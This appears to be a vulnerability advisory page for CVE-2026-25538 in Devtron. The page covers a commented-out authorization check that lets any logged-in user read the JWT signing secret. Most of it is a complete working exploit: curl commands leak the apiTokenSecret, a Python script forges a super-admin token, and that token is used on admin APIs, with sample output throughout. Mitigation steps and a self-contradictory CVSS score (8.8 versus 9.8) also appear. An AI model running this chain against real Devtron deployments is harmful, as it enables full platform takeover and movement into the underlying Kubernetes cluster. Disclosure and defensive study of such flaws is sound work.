Deploy autonomous AI agents that reason, exploit, and validate complex vulnerability chains — not another scanner, an agentic system that thinks like a senior pentester.
CVE-2026-25538 is a high severity vulnerability with a CVSS score of 8.8. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
This vulnerability exists in Devtron's Attributes API interface, allowing any authenticated user (including low-privileged CI/CD Developers) to obtain the global API Token signing key by accessing the /orchestrator/attributes?key=apiTokenSecret endpoint. After obtaining the key, attackers can forge JWT tokens for arbitrary user identities offline, thereby gaining complete control over the Devtron platform and laterally moving to the underlying Kubernetes cluster.
CWE Classification: CWE-862 (Missing Authorization)
Devtron uses a JWT-based API Token mechanism for authentication. All API Tokens are signed using HMAC-SHA256 with the apiTokenSecret stored in the database. This key is exposed through the Attributes API, but the authorization check code for this API has been commented out, allowing any authenticated user to read it.
Vulnerability Location: api/restHandler/AttributesRestHandlder.go:173-195
func (handler AttributesRestHandlerImpl) GetAttributesByKey(w http.ResponseWriter, r *http.Request) {
// Only checks if user is logged in
userId, err := handler.userService.GetLoggedInUser(r)
if userId == 0 || err != nil {
common.HandleUnauthorized(w, r)
return
}
// CRITICAL: RBAC check is commented out
/*token := r.Header.Get("token")
if ok := handler.enforcer.Enforce(token, rbac.ResourceGlobal, rbac.ActionGet, "*"); !ok {
WriteJsonResp(w, errors.New("unauthorized"), nil, http.StatusForbidden)
return
}*/
// Directly retrieves any attribute without authorization
vars := mux.Vars(r)
key := vars["key"]
res, err := handler.attributesService.GetByKey(key)
if err != nil {
handler.logger.Errorw("service err, GetAttributesById", "err", err)
common.WriteJsonResp(w, err, nil, http.StatusInternalServerError)
return
}
common.WriteJsonResp(w, nil, res, http.StatusOK)
}
Key Usage: pkg/apiToken/ApiTokenSecretService.go:54-88
func (impl ApiTokenSecretServiceImpl) GetApiTokenSecretByteArr() ([]byte, error) {
if len(impl.apiTokenSecretStore.Secret) == 0 {
return nil, errors.New("secret found empty")
}
return []byte(impl.apiTokenSecretStore.Secret), nil
}
func (impl ApiTokenSecretServiceImpl) getApiSecretFromDb() (string, error) {
apiTokenSecret, err := impl.attributesService.GetByKey(bean.API_SECRET_KEY)
if err != nil {
return "", err
}
if apiTokenSecret == nil || len(apiTokenSecret.Value) == 0 {
return "", errors.New("api token secret from DB found nil/empty")
}
return apiTokenSecret.Value, nil
}
| Vendor | Product |
|---|---|
| Devtron | Devtron |
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
This key is used to sign and verify all Devtron API Tokens and is the core credential of the control plane.
# Add Devtron Helm repository
helm repo add devtron https://helm.devtron.ai
helm repo update devtron
# Install Devtron with CI/CD module
helm install devtron devtron/devtron-operator \
--create-namespace --namespace devtroncd \
--set components.devtron.service.type=NodePort \
--set installer.modules={cicd} \
--set installer.arch=multi-arch
# Wait for installation to complete (15-20 minutes)
kubectl -n devtroncd get installers installer-devtron -o jsonpath='{.status.sync.status}'
# Expected output: Applied
# Set up port forwarding
kubectl -n devtroncd port-forward service/devtron-service 8000:80 &
# Get admin password
ADMIN_PASSWORD=$(kubectl -n devtroncd get secret devtron-secret \
-o jsonpath='{.data.ADMIN_PASSWORD}' | base64 -d)
echo "Admin password: ${ADMIN_PASSWORD}"
Access http://127.0.0.1:8000 and login with admin account.
Login as a regular user and obtain token:
# Login as regular user
curl -s -X POST "http://127.0.0.1:8000/orchestrator/api/v1/session" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"'${ADMIN_PASSWORD}'"}' | jq .
# Extract token
USER_TOKEN=$(curl -s -X POST "http://127.0.0.1:8000/orchestrator/api/v1/session" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"'${ADMIN_PASSWORD}'"}' | jq -r '.result.token')
echo "User token: ${USER_TOKEN:0:50}..."
Actual Output Example:
{
"code": 200,
"status": "OK",
"result": {
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"userId": 1,
"userEmail": "admin"
}
}
Use the obtained token to access the unauthorized Attributes API:
# Request apiTokenSecret
curl -s -X GET "http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret" \
-H "token: ${USER_TOKEN}" | jq .
# Extract secret
API_SECRET=$(curl -s -X GET "http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret" \
-H "token: ${USER_TOKEN}" | jq -r '.result.value')
echo "Leaked API Token Secret: ${API_SECRET:0:20}..."
echo "Secret length: ${#API_SECRET} characters"
Actual Output Example:
{
"code": 200,
"status": "OK",
"result": {
"id": 1,
"key": "apiTokenSecret",
"value": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"active": true,
"createdOn": "2024-01-15T10:30:00Z",
"createdBy": 1
}
}
Forge admin token using the leaked key:
# Install PyJWT if not already installed
pip3 install PyJWT
# Create token forging script
cat > forge_token.py << 'EOF'
#!/usr/bin/env python3
import jwt
import time
import sys
import json
def forge_admin_token(secret, user_id=1, email="admin"):
exp_time = int(time.time()) + 365 * 24 * 60 * 60
payload = {
"sub": str(user_id),
"email": email,
"iat": int(time.time()),
"exp": exp_time,
"iss": "devtron",
"roles": ["role:super-admin___"]
}
token = jwt.encode(payload, secret, algorithm="HS256")
return token
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python forge_token.py <apiTokenSecret>")
sys.exit(1)
secret = sys.argv[1]
admin_token = forge_admin_token(secret, user_id=1, email="admin")
print(f"[+] Forged Admin Token:")
print(admin_token)
print()
decoded = jwt.decode(admin_token, secret, algorithms=["HS256"])
print(f"[+] Token Payload:")
print(json.dumps(decoded, indent=2))
EOF
chmod +x forge_token.py
# Forge admin token
python3 forge_token.py "${API_SECRET}"
Actual Output Example:
[+] Forged Admin Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwiZW1haWwiOiJhZG1pbiIsImlhdCI6MTcwNTMxNDAwMCwiZXhwIjoxNzM2ODUwMDAwLCJpc3MiOiJkZXZ0cm9uIiwicm9sZXMiOlsicm9sZTpzdXBlci1hZG1pbl9fXyJdfQ.xYz123AbC456DeF789GhI012JkL345MnO678PqR901StU
[+] Token Payload:
{
"sub": "1",
"email": "admin",
"iat": 1705314000,
"exp": 1736850000,
"iss": "devtron",
"roles": [
"role:super-admin___"
]
}
Use the forged token to access admin APIs:
# Extract forged token
FORGED_TOKEN=$(python3 forge_token.py "${API_SECRET}" | grep -A 1 "Forged Admin Token:" | tail -1)
# Test 1: Get all users (requires admin permission)
echo "[*] Test 1: Getting user list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/user/all" \
-H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, email_id, roles}'
# Test 2: Get cluster list (requires admin permission)
echo "[*] Test 2: Getting cluster list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/cluster" \
-H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, cluster_name, server_url}'
# Test 3: Get all applications
echo "[*] Test 3: Getting application list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/app/list" \
-H "token: ${FORGED_TOKEN}" | jq '.result'
Actual Output Example:
[*] Test 1: Getting user list...
{
"id": 1,
"email_id": "admin",
"roles": ["role:super-admin___"]
}
{
"id": 2,
"email_id": "[email protected]",
"roles": ["role:developer"]
}
[*] Test 2: Getting cluster list...
{
"id": 1,
"cluster_name": "default_cluster",
"server_url": "https://kubernetes.default.svc"
}
[*] Test 3: Getting application list...
{
"appContainers": [
{
"appId": 1,
"appName": "sample-app",
"projectId": 1
}
]
}
If the vulnerability exists, it should be able to:
apiTokenSecret using any authenticated user's tokenConfidentiality: Severe impact. Attackers can:
Integrity: Severe impact. Attackers can:
Availability: High impact. Attackers can:
Scenario 1: Insider Threat
Scenario 2: Supply Chain Attack
Scenario 3: Lateral Movement
CVSS v3.1 Score: 9.8 (Critical)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Score Breakdown:
Severity Level: Critical
api/restHandler/AttributesRestHandlder.gopkg/apiToken/ApiTokenSecretService.goBefore an official patch is released, the following temporary measures can be taken:
# Use NetworkPolicy to restrict access to Devtron API
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: devtron-api-restriction
namespace: devtroncd
spec:
podSelector:
matchLabels:
app: devtron
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
role: admin
ports:
- protocol: TCP
port: 8080
EOF
# Generate new secret
NEW_SECRET=$(openssl rand -hex 32)
# Update in database
kubectl exec -n devtroncd postgresql-postgresql-0 -- \
psql -U postgres -d orchestrator -c \
"UPDATE attributes SET value='${NEW_SECRET}' WHERE key='apiTokenSecret';"
# Restart Devtron service
kubectl rollout restart deployment/devtron -n devtroncd
Deploy an API Gateway in front of Devtron to filter sensitive requests to /orchestrator/attributes.
@b0b0haha ([email protected]) @lixingquzhi([email protected])